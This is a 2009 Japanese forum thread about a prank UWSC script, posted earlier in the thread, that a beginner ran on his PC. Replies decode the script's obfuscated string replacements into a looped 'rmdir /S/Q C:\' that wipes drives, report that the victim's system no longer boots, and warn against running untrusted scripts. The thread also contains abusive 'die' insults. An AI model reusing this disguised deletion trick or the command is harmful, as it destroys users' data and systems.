692 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 07:33:50 ID:jAAUEYUX0] よく>>682 みたいな馬鹿に親切に作ってやるもんだ >全くの初心者で丸投げでお願いしたいです こういう輩を甘やかすと調子乗るんだよな
693 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 17:29:41 ID:lEe8RCT+0] >>682 みたいなのは死ねばいいと思う uwsc使いでもなんでもないし
694 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 19:18:45 ID:kn6xTJMj0] 「UWSC使い」使いですね。わかります。
695 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/20(火) 21:37:35 ID:5ibiXKAy0] >>690 巧さ半端ねぇなw どうなっているのか解るのに10秒くらいかかった。
696 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 00:30:20 ID:5BhbaMvE0] 682は本当にこれ実行したんだろうか… レス無いのはやっぱり実行しちゃったんだろうか…
697 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:09:56 ID:H9pzsLFx0] ちゃんと見てなかったけどCから順にやるのかすごいな だが、ちゃんとエラーを除去しないとスクリプト実行エラーが出るから、 初めて触る人間にはすぐには実行できないんじゃないか? ていうかまさか依頼の段階から仕込みとかか? 依頼からして不自然だったしさ。
698 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:29:46 ID:H9pzsLFx0] やってみたけどループ1回目の途中でエラーになって止まったよ。 だめだな。 仮想マシンでやったけど、起動した後で「しまった。共有ドライブが!」とか思ったけどぜんぜん心配いらんかった。
699 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 01:47:10 ID:H9pzsLFx0] × ぜんぜん心配いらんかった。 ○ そっちは心配いらんかった。
700 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:02:22 ID:eGE2n9Cp0] >>690 を実行するとどうなんの? エラーが出るだけ?
701 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:18:52 ID:s2PXx/VI0] >>700 コードをちゃんと読めば理解出来るだろう。 メモ帳か何かにコピペして、それがどう弄られていくか書き出してみればいいよ。 知らない可能性があるのは、最終的にできあがるものだが、それはググれば一発で出てくると思うよ。 ちなみに65がAだから、66はB、67はCな。
702 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/21(水) 23:54:14 ID:H9pzsLFx0] >>701 それだけじゃわかんないと思うよ。 サイトAからXまで処理することになってるから。 A-X が C-Zに置き換わってると言えば分かると思う。
703 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 00:23:30 ID:zsrKpKqI0] 最初はB。ループの最初で66を67に置換でC、以降+1していくからDEFG… 65は最初から無い
704 名前:危険!危険! mailto:sage [2009/10/22(木) 00:46:18 ID:rtGLzJgQ0] なんで〜(;´д⊂ヽ >>690 をやってみようとしたらエラーになるので パソコンをリセットしたら 「Wwindows Boot Manager」の画面になってそこからどうにもならない もうデータとか全部捨ててリカバリするしかないかも試練orz ちなみにOSはVista えらいことになったよ・゚・(ノω;`)・゚・ >>690 はなんだったんだろうか? >>701 65がAとか意味不明
705 名前:名無しさん@お腹いっぱい。 [2009/10/22(木) 01:14:14 ID:k2O2PUZQ0] 犠牲者報告がついに来たか。 >>690 のスクリプトは、C:ドライブからZ:ドライブまでの全てのファイルを削除するというもの。 UWSCはコマンドを呼び出してるだけなんだけどね。 ウィルスと違うからアンチウィルスとかじゃ検出してくれない。 だからスクリプトは実行する人がそれをちゃんと理解するか、 信用できる人からもらったものじゃないといけない。 僕はプログラマで共同作業してるときですら、同期入社のやつから>>690 みたいな動作のスクリプトを青果物として納品されて、 完成したプログラムが全部消えてなくなったことがある。 ちなみにそいつは北九州高専卒業のやつで会社は地元の東証一部上場企業での話ね。 人事部にちくったら「貴様を駆除するためにやらせたんだ責任とって死ね」って怒鳴られたけどね。 さすが毒饅頭を出荷してる土地柄だけはある。 そんな感じだから信用できる人間の区別もまた難しいんだけど、 とにかく検査されたもの以外は安易に実行してはいけないってことだ。
706 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:43:45 ID:zsrKpKqI0] >>704 > mode="mdS5RgzP4/Q B" > bbb=":\" chgmoj(mode,"S5RgzP4","ir /S ") "mdS5RgzP4/Q B"中の"S5RgzP4"を"ir /S "で置換。 結果、mode="mdif /S/Q B" > cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb cc="r" + "mdir /S/Q B" + ":\" ="rmdir /S/Q B:\" > cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) ) 最初のループ:time=1,size=66につき chr(size+time-1)=chr(66)=B chr(size+time)=chr(67)=C cc = replace(cc," B"," C") コマンドcc中の" B"を" C"で置換 cc="rmdir /S/Q C:\" 以降、ループが回る毎にCをDに置換・DをEに置換…とやっていくが、 最初のCを消した時点でcmd.exeも消えてD以降はエラーになる
707 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:46:14 ID:rtGLzJgQ0] >>705 さん 詳しいレスありがとうございます つまりインストールしていたソフトやデータはすべて消えた後ってことですね これでリカバリする踏ん切りつきました 夜遅くにすいませんでした >>690 死ね!
708 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:49:50 ID:rtGLzJgQ0] >>706 えっ! 私はカキコ遅いんですけどその間にレス頂いた様で ありがとうございます ということはソフトやデータはまだ残っているって事なんでしょうか? とすれば>>705 が悪意のあるレスで>>690 は善意の解答者??? もうわけわかんないです(;´Д`) とりあえず復旧方法探してみます 夜中にすいませんでした
709 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:54:00 ID:zsrKpKqI0] これを読んでもまだわからないような超初心者が安易に実行なんてするなよ(´Д`) 今後何度だってトラップに引っかかって今度のような目にあうぞ。 rmdir /S/Q C:\ の意味は "C:\" を中身ごと消せ。 つまり>>705 の通りだが、C:\を消したらコマンド続行不能になるのでDは無事の可能性高い。 当然ながらOSは起動不能。
710 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 01:58:18 ID:rtGLzJgQ0] >>709 さん 了解です うかつに実行した自分の責任です ご親切にありがとうございました >>705 さん疑ってすいませんでした 教えてくれてありがとうです 今日は遅いので明日にでもリカバリします >>690 死ね死ね死ね!!!